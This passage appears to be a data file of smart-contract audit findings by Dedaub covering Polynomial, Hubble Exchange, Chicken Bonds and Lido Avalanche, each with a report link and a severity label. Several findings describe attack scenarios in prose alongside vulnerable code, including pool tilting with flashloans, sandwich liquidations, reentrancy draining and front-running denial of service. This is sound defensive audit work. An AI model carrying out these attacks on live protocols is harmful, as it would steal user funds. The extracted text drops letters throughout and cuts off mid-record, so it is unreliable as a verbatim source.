Contracts", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "in the use of the word recipient INFO In LiquidityPool, KangarooVault and ILiquidityPool, all appearances of the word recipient word contain a typo and are wrien as receipient. For example, the fee recipient storage variable is wrien as feeReceipient instead of feeRecipient.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "duplication INFO The functions canLiquidate and maxLiquidatableDebt of ShortCollateral.sol share a large proportion of their code. For readability this part coud be included in a separate method.", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "large liquidation bonus percentage could lead to a decrease instead of the expected increase- of the collateral ratio INFO A liquidation of a part of an underwater position is expected to increase its collateralization ratio. In a partial liquidation, the liquidator deletes part of the position 2 and gets collateral of the same value, but also some extra collateral as liquidation bonus. If the liquidation bonus percentage is large, the collateral ratio after the liquidation could be lower compared to the one before. The parameters of the protocol should be chosen carefully to avoid this problem. For example: WIPEOUT_CUTOFF * coll.liqRatio > 1 + coll.liqBonus", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Polynomial/Polynomial Power Perp Contracts Audit - Apr '23.pdf", - "body": "check that normalizationUpdate is positive INFO The functions getMarkPrice and updateFundingRate of the Exchange contract compute the normalizationUpdate variable using the formula: int256 totalFunding = wadMul(fundingRate, (currentTimeStamp - fundingLastUpdatedTimestamp)); int256 normalizationUpdate = 1e18 - totalFunding; Although the fundingRate is bounded (it takes values between -maxFunding and maxFunding), the dierence currentTimeStamp - fundingLastUpdatedTimestamp is not, therefore totalFunding can in principle have an arbitrarily large value, especially a value greater than 1e18 (using 18 decimals precision). The result would be a negative normalizationUpdate and negative mark price, which would mess all the computations of the protocol. A check that normalizationUpdate is positive could be added. Nevertheless, since the value of the maxFunding is 1e16, the protocol has to be inactive for at least 100 days, before this issue occurs. A17 Compiler version and possible bugs INFO The code can be compiled with Solidity 0.8.9 or higher. For deployment, we recommend no floating pragmas, but a specic version, to be condent about the baseline guarantees oered by the compiler. Version 0.8.9, in particular, has some known bugs, which we do not believe aect the correctness of the contracts. 2", - "labels": [ - "Dedaub", - "Polynomial Power Perp Contracts", - "Severity: Informational" - ] - }, - { - "title": "Liquidations of Maker ", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": " DISMISSED The crypto-economic design of this protocol can lead to force-liquidation of Makers through very small price movements. The following design elements make it easy to force liquidate makers: - Curve-Crypto AMM can yield the same price with dierent pool compositions - Spread limit is hard to trigger with single transactions Scenario: Bob wants to force liquidate Alices maker position to perform a liquidation slippage sandwich. [Note: the following gures are approximate] 1. With a small amount of margin, Alice opens a maker position: $3000 + 0.5ETH, when ETH is at $2000. Note that the pool is not perfectly balanced. 2. Bob opens a large short position, say 10ETH, moving ETH price to $1900. 3. The pools composition changed signicantly with one swap, but not the price. 4. Alices position is now around $1100 + 1.5ETH, so openNotional = 1900 and position = 1 5. Alices maker debt is $6000 6. Alices notionalPosition is $7900 0 The result is that with < 5% price change, Alices margin fraction has decreased by 25%", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "process is easily circumvented DISMISSED The unbonding process can be easily circumvented through a variation on the Sybil aack. Unbonding liquidity at will enables other aacks such as liquidity frontrunning. Scenario: Alice wants to add amount of liquidity, and be able to withdraw /3 of her liquidity on any one day. We assume that the withdrawal period is N days and the unbonding period is M days. This means that using the following strategy, alice can always remove / liquidity, like so: 1. Alice deposits / each day for M days on M dierent addresses 2. After M days, Alice goes through each address where the withdrawal expired and requests unbonding again. 3. At any day, after the rst M days, alice can withdraw up to / of her liquidity.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "amount is not reset on liquidation RESOLVED A makers liquidation calls method AMM::forceRemoveLiquidity, which in turn calls AMM::_removeLiquidity and operates in the same manner as the regular removeLiquidity thereafter, but does not reset a pending unbonding amount that the maker might have. The function AMM::removeLiquidity on the other hand, deducts the unbonding amount accordingly: Maker storage _maker = _makers[maker]; _maker.unbondAmount -= amount;", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "Liquidations ACKNOWLEDGED 0 The risk of cascading liquidations in Hubble are relatively high, especially where maker liquidations are concerned. Takers are relatively protected from triggering liquidations of other takers due to the dual mode margin fraction mechanism (which uses oracle prices in cases of large divergences between mark and index prices). However, a taker liquidation can trigger a maker liquidation (see M1). In turn the removal of maker liquidity makes the price derived via Swap::get_dy and Swap::get_dx lower. The following are our inferred cascading liquidation risks: - Taker liquidation triggering a taker liquidation (low) - Maker liquidation triggering a taker liquidation (medium, eect of swap price movement in addition to the eect of removal of liquidity) - Maker liquidation triggering a maker liquidation (high, see M1) - Taker liquidation triggering a maker liquidation (high, see M1)", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "stakers who double as liquidators can increase their share of the pool RESOLVED [This issue was partially known to the developers] If an insurance staker also doubles as a liquidator, then they can: 1. Withdraw their insurance contribution 2. Liquidate bad debt 3. Sele bad debt using other users insurance stake 4. Re-deposit their stake again The liquidator/staker now owns a larger portion of the pool. This eect can be compounded. Opening multiple tiny positions to make liquidations", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "unprotable 0 There are no restrictions on the minimum size of the position a user can open and on the minimum amount of collateral he should deposit when an account is opened. A really small position will be unprotable for an arbitrageur to liquidate. An adversary could take advantage of this fact and open a huge number of tiny positions, using dierent accounts. The adversary might not be able to get a direct prot from such an approach, but since these positions are going to stay open for a long time, as no one will have a prot by liquidating them, they can signicantly shift the price of the vAMM with small risk. To safeguard against such aacks we suggest that a lower bound on the position size and collateral should be used. Liquidating own tiny maker position to prot from the xed", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "fee As discussed in issue M6, one can open a however small position they want. The same is true when providing liquidity. On the other hand the incentive fee for liquidating a maker, i.e., someone that provides liquidity, is xed and its 20 dollars as dened in ClearingHouse::fixedMakerLiquidationFee. Thus, one could provide really tiny amounts of liquidity (with tiny amounts of collateral backing it) and liquidate themselves with another account to make a prot from the liquidation fee. Networks with small transaction fees (e.g., Avalanche) or", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "could make such an aack really protable, especially if executed on a large scale. ClearingHouse::isMaker does not take into account makers", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "ignition share Method ClearingHouse::isMaker checks if a user is a maker by implementing the following check: function isMaker(address trader) override public view returns(bool) { uint numAmms = amms.length; for (uint i; i < numAmms; ++i) { IAMM.Maker memory maker = amms[i].makers(trader); if (maker.dToken > 0) { 0 return true; } } return false; } However, the AMM could still be in the ignition phase, meaning that the maker could have provided liquidity that in maker.ignition. This omission could allow liquidation of a users taker positions before its maker positions, which is something undesirable, as dened by the liquidate and liquidateTaker methods of ClearingHouse. reflected in maker.dToken but is not yet", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "Slippage Sandwich Attack ACKNOWLEDGED [The aack is related to already known issues, but is documented in more detail here] 1. Alice has a long position that is underwater 2. Bob opens a large short position 3. Bob liquidates Alice. This triggers a swap in the same direction as Bobs position and causes slippage. 4. Bob closes his position, and prots on the slippage at the expense of Alice. M10 Self close bad debt attack DISMISSED This is a non-specic aack on the economics of the protocol. 1. Alice opens a short position using account A 2. Alice opens a large long position using account B 3. In the meantime, the market moves up. 4. Alice closes her under-collateralized position A. Bad debt occurs. 5. Alice can now close position B and realize her prot 09 LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Medium" - ] - }, - { - "title": "neutra ", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": " ACKNOWLEDGED Maker debt, calculated as the vUSD amount * 2 when the liquidity was added never changes. If the maker has gained out of her impermanent position, e.g., through fees, this is not accounted for, in certain kinds of liquidations (via oracle). However, if the maker now removes their liquidity, closes their impermanent position and adds the same amount of liquidity, the debt is reset to a dierent amount.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "blacklisting checks are incomplete RESOLVED The ClearingHouse contract can set and use a Blacklist contract to ban certain users from opening new positions. However, these same users are not blacklisted from providing liquidity to the protocol, i.e., having impermanent positions, which can be turned into permanent ones when the liquidity is removed. Although this form of opening positions is not controllable, it would be beer if blacklisted users were also banned from providing liquidity.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "could potentially be reentered RESOLVED VUSD::processWithdrawals of the VUSD contract calls method safeTransfer on the reserveToken dened in VUSD. 01 function processWithdrawals() external whenNotPaused { uint reserve = reserveToken.balanceOf(address(this)); require(reserve >= withdrawals[start].amount, 'Cannot process withdrawals at this time: Not enough balance'); uint i = start; while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) { Withdrawal memory withdrawal = withdrawals[i]; if (reserve < withdrawal.amount) { break; } reserve -= withdrawal.amount; reserveToken.safeTransfer(withdrawal.usr, withdrawal.amount); i += 1; } start = i; } In the unlikely scenario that the safeTransfer method (or a method safeTransfer calls internally) of reserveToken allows calling an arbitrary contract, then that contract can reenter the processWithdrawals method. As the start storage variable will not have been updated (it is updated at the very end of the method), the same withdrawal will be executed twice if the contracts reserveToken balance is suicient. Actually, if reentrancy is possible, the whole balance of the contract can be drained by reentering multiple times. It is easier to perform this aack if the aackers withdrawal is the rst to be executed, which is actually not hard to achieve. This vulnerability is highly unlikely, as it requires the execution reaching an untrusted contract, still we suggest adding a reentrancy guard (minor overhead) to completely remove the possibility of such a scenario. 01 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "usage increases quadratically to positions ACKNOWLEDGED Whenever a users position is modied, maintained or liquidated, all of the users token positions need to be queried (both maker and taker). For instance, this happens in ClearingHouse::getTotalNotionalPositionAndUnrealizedPnl for (uint i; i < numAmms; ++i) { if (amms[i].isOverSpreadLimit()) { (_notionalPosition, _unrealizedPnl) = amms[i].getOracleBasedPnl(trader, margin, mode); } else { (_notionalPosition, _unrealizedPnl,,) = amms[i].getNotionalPositionAndUnrealizedPnl(trader); } notionalPosition += _notionalPosition; unrealizedPnl += _unrealizedPnl; } Therefore, if we assume that a user with more positions and exposure to more tokens needs to tweak their positions from time to time, and the number of actions correlates the number of positions, the gas usage really scales quadratically to the number of positions for such a user.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "regarding the numerical methods of CurveMath.vy ACKNOWLEDGED [Below we use the notation of the curve crypto whitepaper] The CurveCrypto invariant in the case of pools with only two assets (N=2) can be simplied into a low degree polynomial, which could lead to a faster convergence of the numerical methods. 01 The coeicient K, when N=2 (we denote by x and y the deposits of the two assets in the pool), is given by the formula If we multiply both sides of the equation an equivalent equation, which is polynomial in all three variables x, y and D: by the denominator of K we get As you can see it is a cubic equation for x and y and you can use the formulas for cubic equations either to compute faster the solution or to get a beer initial value for the iterative method you are currently using. We believe it would be worth spending some time experimenting with the numerical methods to get the fastest possible convergence (and consequently reduced gas fees paid by the users).", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "functionality to remove AMMs ACKNOWLEDGED Governance has the ability to whitelist AMMs via ClearingHouse::whitelistAmm method, while there is no functionality to remove or blacklist an AMM.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "collateral index checks are missing ACKNOWLEDGED There are several external methods of MarginAccount, namely addMargin, addMarginFor, removeMargin, liquidateExactRepay and liquidateExactSeize that do not implement a check on the collateral index supplied, which can lead to the ungraceful termination of the transaction if an incorrect index has been supplied. A simple check such as: require(idx < supportedCollateral.length, \"Collateral not supported\"); could be used to also inform the user of the problem with their transaction. 01", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "event is missing timestamp eld ACKNOWLEDGED The AMM::PositionChanged event is potentially missing a timestamp eld that all related events (LiquidityAdded, LiquidityRemoved, Unbonded) other incorporate. trader", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "out code ACKNOWLEDGED In method MarginAccount::isLiquidatable the following line is commented out: _isLiquidatable = IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE; This is because IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE is equal to 0, which will be the default value of _isLiquidatable if no value is assigned to it, thus the above assignment is not necessary. Nevertheless, explicitly assigning the enum value makes the code much more readable and intiutive.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "constants ACKNOWLEDGED There are several magic constants throughout the codebase, many of them related to the precision of token amounts, making it diicult to reason about the correctness of certain computations. The developers of the protocol are aware of the issue and claim that they have developed extensive tests to make sure nothing is wrong in this regard.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "price decimals assumption ACKNOWLEDGED The Oracle contract code makes the assumption that the price value returned by the ChainLink oracle has 8 decimals. This assumption appears to be correct if the oracles used report the price in terms of USD. Nevertheless, using the oracles available decimals method and avoiding such a generic assumption would make the code much more robust.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "can be reused ACKNOWLEDGED 01 The following code shared by methods MarginAccount::liquidateExactRepay and MarginAccount::liquidateExactSeize can be factored out in a separate method and reused: clearingHouse.updatePositions(trader); // credits/debits funding LiquidationBuffer memory buffer = _getLiquidationInfo(trader, idx); if (buffer.status != IMarginAccount.LiquidationStatus.IS_LIQUIDATABLE) { revert NOT_LIQUIDATABLE(buffer.status); } In addition, all the code of AMM::isOverSpreadLimit: function isOverSpreadLimit() external view returns(bool) { if (ammState != AMMState.Active) return false; uint oraclePrice = uint(oracle.getUnderlyingPrice(underlyingAsset)); uint markPrice = lastPrice(); uint oracleSpreadRatioAbs; if (markPrice > oraclePrice) { oracleSpreadRatioAbs = markPrice - oraclePrice; } else { oracleSpreadRatioAbs = oraclePrice - markPrice; } oracleSpreadRatioAbs = oracleSpreadRatioAbs * 100 / oraclePrice; if (oracleSpreadRatioAbs >= maxOracleSpreadRatio) { return true; } return false; } except line uint markPrice = lastPrice(); can be factored out in another method, e.g., _isOverSpreadLimit(uint markPrice), which will have markPrice as an argument. Then method _isOverSpreadLimit can be reused in methods _short and _long. 01", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "modiers ACKNOWLEDGED Methods syncDeps of MarginAccount and InsuranceFund could be declared external instead of public.", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Hubble Exchange/Hubble Exchange Audit.pdf", - "body": "code/contracts ACKNOWLEDGED tests/Executor.sol is not used. A12 Compiler known issues INFO The contracts were compiled with the Solidity compiler v0.8.9 which, at the time of writing, have some known bugs. We inspected the bugs listed for this version and concluded that the subject code is unaected. 01 CENTRALIZATION ASPECTS As is common in many new protocols, the owner of the smart contracts yields considerable power over the protocol, including changing the contracts holding the users funds, adding AMMs and tokens, which potentially means borrowing tokens using fake collateral, etc. In addition, the owner of the protocol can: - Blacklist any user. - Set important parameters in the vAMM which change the price of any assets: price_scale, price_oracle, last_prices. This allows the owner to potentially liquidate otherwise healthy positions or enter into bad debt positions. The computation of the Margin Fraction takes into account the weighted collateral, whose weights are going to be decided by governance. Currently the protocol uses NFTs for governance but in the future the decisions will be made through a DAO. Currently, there is no relevant implementation, i.e., the Hubble protocol does not yet oer a governance token. Still, even if the nal solution is decentralized, governance should be really careful and methodical when deciding the values of the weights. We believe that another, safer approach would be to alter these weights in a specic way dened by predetermined formulas and allow only small adjustments by the DAO. 01", - "labels": [ - "Dedaub", - "Hubble Exchange", - "Severity: Informational" - ] - }, - { - "title": "Pool deposits can be manipulated for possible gai ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Audit.pdf", - "body": " RESOLVED (mitigated by commit cf15a5ac: time delay for shifting, limited shift window) The Chicken Bonds protocol gives arbitrary callers the ability to shift liquidity out of the stability pool and into Curve, when the price of LUSD (on Curve) is too high. This can be abused for a nancial aack if the protocol (i.e., the B.AMMSP) becomes a major shareholder of stability pool liquidity, as expected. Consider a scenario where the aacker notices a large liquidation coming in. Stability pool shareholders stand to gain up to 10%. The aacker wants to eliminate the B.AMMSP share from the stability pool and receive a larger part of the gains. The aacker can tilt the Curve pool (e.g., via flashloan) to get the LUSD price to be outside the of subsequent (too shiftLUSDFromSPToCurve, liquidity gets removed from the stability pool. high). With acceptable threshold call a H2 An aack tilting the Curve pool before a redeem allows the aacker to draw funds from the permanent bucket RESOLVED (commit 900d481a makes all Curve accounting be in virtual/relative terms) There is a Curve-pool-tilt aack upon a redeem operation. The core of the issue is the maintaining between transactions of a storage variable, permanentLUSDInCurve: 0 uint256 private permanentLUSDInCurve; // Yearn Curve LUSD-3CRV vault function shiftLUSDFromSPToCurve(uint256 _maxLUSDToShift) external { ... uint256 permanentLUSDCurveIncrease = (lusdInCurve - lusdInCurveBefore) * ratioPermanentToOwned / 1e18; permanentLUSDInCurve += permanentLUSDCurveIncrease; ... } function shiftLUSDFromCurveToSP(uint256 _maxLUSDToShift) external { ... uint256 permanentLUSDWithdrawn = lusdBalanceDelta * ratioPermanentToOwned / 1e18; permanentLUSDInCurve -= permanentLUSDWithdrawn; ... } The problem is that this quantity does not really reflect current amounts of LUSD in Curve, which are subject to fluctuations due to normal swaps or malicious pool manipulation. The permanentLUSDInCurve is then used in the computation of acquired LUSD in Curve: function getAcquiredLUSDInCurve() public view returns (uint256) { uint256 acquiredLUSDInCurve; // Get the LUSD value of the LUSD-3CRV tokens uint256 totalLUSDInCurve = getTotalLUSDInCurve(); if (totalLUSDInCurve > permanentLUSDInCurve) { acquiredLUSDInCurve = totalLUSDInCurve - permanentLUSDInCurve; } return acquiredLUSDInCurve; } A redeem computes the amount to return to the caller using the above function, as a proportion of the acquired LUSD in Curve: 0 function redeem(uint256 _bLUSDToRedeem, uint256 _minLUSDFromBAMMSPVault) external returns (uint256, uint256) { uint256 acquiredLUSDInCurveToRedeem = getAcquiredLUSDInCurve() * uint256 lusdToWithdrawFromCurve = acquiredLUSDInCurveToRedeem * (1e18 - redemptionFeePercentage) / 1e18; fractionOfBLUSDToRedeem / 1e18; uint256 acquiredLUSDInCurveFee = acquiredLUSDInCurveToRedeem - lusdToWithdrawFromCurve; yTokensFromCurveVault = _calcCorrespondingYTokensInCurveVault(lusdToWithdrawFromCurve); if (yTokensFromCurveVault > 0) { yearnCurveVault.transfer(msg.sender, yTokensFromCurveVault); } As a result, the aack consists of lowering the price of LUSD in Curve, by swapping a lot of LUSD, so that the Curve pool has a much larger amount of LUSD. The permanentLUSDInCurve remains as stored from the previous transaction and gets subtracted, so that the acquired LUSD in Curve appears to be much higher. The aacker calls redeem and receives a proportion of that amount (minus fees), eectively stealing from the permanent LUSD. The general recommendation is to not store between transactions any amount reflecting Curve balances (either total or partial). If a partial balance is to be kept, it should be kept in relative terms (i.e., a proportion) not absolute token amounts. MEDIUM SEVERITY: [No medium severity issues] LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Chicken Bonds", - "Severity: High" - ] - }, - { - "title": "in exponentiation ", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Audit.pdf", - "body": " RESOLVED Iterative exponentiation by squaring (ChickenMath::decPow) could be simplied slightly from: while (n > 1) { if (n % 2 == 0) { x = decMul(x, x); 0 n = n / 2; } else { // if (n % 2 != 0) y = decMul(x, y); x = decMul(x, x); n = (n - 1) / 2; } } to: while (n > 1) { if (n % 2 != 0) { y = decMul(x, y); } x = decMul(x, x); n = n / 2; } We only recommend this change for reasons of elegance, not impact.", - "labels": [ - "Dedaub", - "Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Audit.pdf", - "body": "unnecessary RESOLVED There is an assert statement in _firstChickenIn that is currently unnecessary. function _firstChickenIn(...) internal returns (uint256) { assert(!migration); The function is currently only called under conditions that preclude the assert: if (bLUSDToken.totalSupply() == 0 && !migration) { lusdInBAMMSPVault = _firstChickenIn(bond.startTime, bammLUSDValue, lusdInBAMMSPVault); } More generally, although there is a long-standing software engineering practice encouraging asserts for circumstances that should never arise, we discourage their use in deployed blockchain code, since asserts in the EVM do have a run-time cost.", - "labels": [ - "Dedaub", - "Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Audit.pdf", - "body": "computation of minimum DISMISSED, INVALID 01 (will remove) The minimum computation in the code below has a pre-determined outcome: function shiftLUSDFromSPToCurve(uint256 _maxLUSDToShift) external { (uint256 bammLUSDValue, uint256 lusdInBAMMSPVault) = _updateBAMMDebt(); uint256 lusdOwnedInBAMMSPVault = bammLUSDValue - pendingLUSD; // Make sure pending bucket is not moved to Curve, so it can be // withdrawn on chicken out uint256 clampedLUSDToShift = Math.min(_maxLUSDToShift, lusdOwnedInBAMMSPVault); // Make sure there's enough LUSD available in B.Protocol clampedLUSDToShift = Math.min(clampedLUSDToShift, lusdInBAMMSPVault); // Dedaub: the above is unnecessary. _updateBAMMDebt has its first // return value always be <= the second. So, clampedLUSTToShift // (which is <= _bammLUSDValue) will always be <= lusdInBAMMSPVault", - "labels": [ - "Dedaub", - "Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Liquity/Chicken Bonds Audit.pdf", - "body": "in README.md INFO (RESOLVED) Under the section Shifter functions::Spot Price Thresholds, the conditions under which shifts are allowed are incorrect. The correct conditions should read: Shifting from the Curve to SP is possible when the spot price is < x, and must not move the spot price above x. Shifting from SP to the Curve is possible when the spot price is > y, and must not move the spot price below y. A5 Compiler bugs INFO (RESOLVED) The code is compiled with Solidity 0.8.10 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, so as to be condent about the baseline 01 guarantees oered by the compiler. Version 0.8.10, in particular, has some known bugs, which we do not believe to aect the correctness of the contracts. CENTRALIZATION ASPECTS The design of the protocol is highly decentralized. The creation of bonds, chickening in/out and redemption of bLUSD tokens is all carried out without any intervention from governance. The shifter functions, ChickenBondManager::shiftLUSDFromSPToCurve and ChickenBondManager::shiftLUSDFromCurveToSP, which move LUSD between the Liquity stability pool and the curve pool are also public and permissionless. The Yearn Governance address holds control of the protocols migration mode which prevents the creation of new bonds, among other changes. There is no way to deactivate migration mode. Although new users will not be able to join the protocol, all current users will still be able to retrieve their funds, either through ChickenBondManager::chickenOut or ChickenBondManager::redeem. Yearn governance decisions are voted on by all YFI token holders and are executed by a 6-of-9 Multisig address. 01", - "labels": [ - "Dedaub", - "Chicken Bonds", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "may irreversibly delete essential data DISMISSED Oracle::setNodeIDList deletes reportsByEpochId[latestEpochId], i.e., the latest epoch data, as they might no longer be valid due to validators being removed from the list. The latest epoch data is supplied to the Oracle contract via the OracleManager, which calls the function Oracle::receiveFinalizedReport and marks that the report for that epoch has been nalized, meaning that it cannot be resubmied. This information, which might irreversibly get deleted by the Oracle::setNodeIDList, is essential for the ValidatorSelector contract to proceed with the validator selection process. Thus, care should be taken to ensure that Oracle::setNodeIDList isnt called after OracleManager::receiveMemberReport and before ValidatorSelector::getAvailableValidatorsWithCapacity, as such a sequence of calls would leave the system in an invalid state.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "may revert due to array out-of-bounds error in ValidatorSelector::getAvailableValidatorsWithCapacity RESOLVED Function ValidatorSelector::getAvailableValidatorsWithCapacity retrieves the latest epoch validators from the Oracle in the validators array, computes how 0 many of those satisfy the ltering criteria and then creates an array of that size, result, and traverses again the validators array to populate it. function getAvailableValidatorsWithCapacity(uint256 amount) public view returns (Validator[] memory) { Validator[] memory validators = oracle.getLatestValidators(); uint256 count = 0; for (uint256 index = 0; index < validators.length; index++) { // ... (filtering checks on validators[index]) count++; } Validator[] memory result = new Validator[](count); for (uint256 index = 0; index < validators.length; index++) { // ... (filtering checks on validators[index]) // Dedaub: index can get bigger than result.length. // Dedaub: a count variable needs to be used as in the above loop. result[index] = validators[index]; } return result; } However, there is a bug in the implementation that can cause an array out-of-bounds exception at line result[index] = validators[index]. Variable index is in the range [0, validators.length-1], while result.length will be strictly less than validators.length-1 if at least one validator has been ltered out of the initial validators array, thus index might be greater than result.length-1. Consider the scenario where validators = [1, 2] and count (or result.length) is 1 as the validator with id 1 has been ltered out. Then the second loop will traverse the whole validators array and will try to assign the validator with id 2 (array index 1) to result[1] causing an out-of-bounds exception, as result has a length of 1 (can only be assigned to index 0). Using a count variable, similarly to the rst loop, would be enough to solve this issue. 0", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "due to the ability of a group to conrm any public key RESOLVED A DoS aack could be possible due to the ability of a group to perform conrmations for any given public key. More specically, we think that a group with adversary members can front-run the reportGeneratedKey() using a public key which was requested by another group, via requestKeygen(). By doing so, this public key will be conrmed by and assigned to the adversary group. // MpcManager.sol::reportGeneratedKey:214 if (_generatedKeyConfirmedByAll(groupId, generatedPublicKey)) { info.groupId = groupId; info.confirmed = true; ... } This will DoS the system for the benevolent group which will not be able to perform any further conrmations for this public key. // MpcManager.sol::reportGeneratedKey:208 if (info.confirmed) revert AttemptToReconfirmKey(); The adversary group can then proceed with joining the staking request changing the threshold needed for starting the request (of course in the case where the adversary group has a smaller threshold than the original one). // MpcManager.sol::joinRequest:238 uint256 threshold = _groupThreshold[info.groupId]; However, they dont have to join the request and can leave it pending. Since multiple public keys can be requested for the same group, they can proceed with dierent keys and dierent stake requests if they wish to interact with the contracts benevolently for their own benet. 0 The MpcManager.sol contract has quite a bit of o-chain logic, but we believe that it is valid as an adversary model to assume that groups can not be entirely trusted and that they can act adversely against other benevolent groups. In the opposite scenario, considering all groups as trusted could lead to centralization issues while only the MPC manager can create the groups.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Medium" - ] - }, - { - 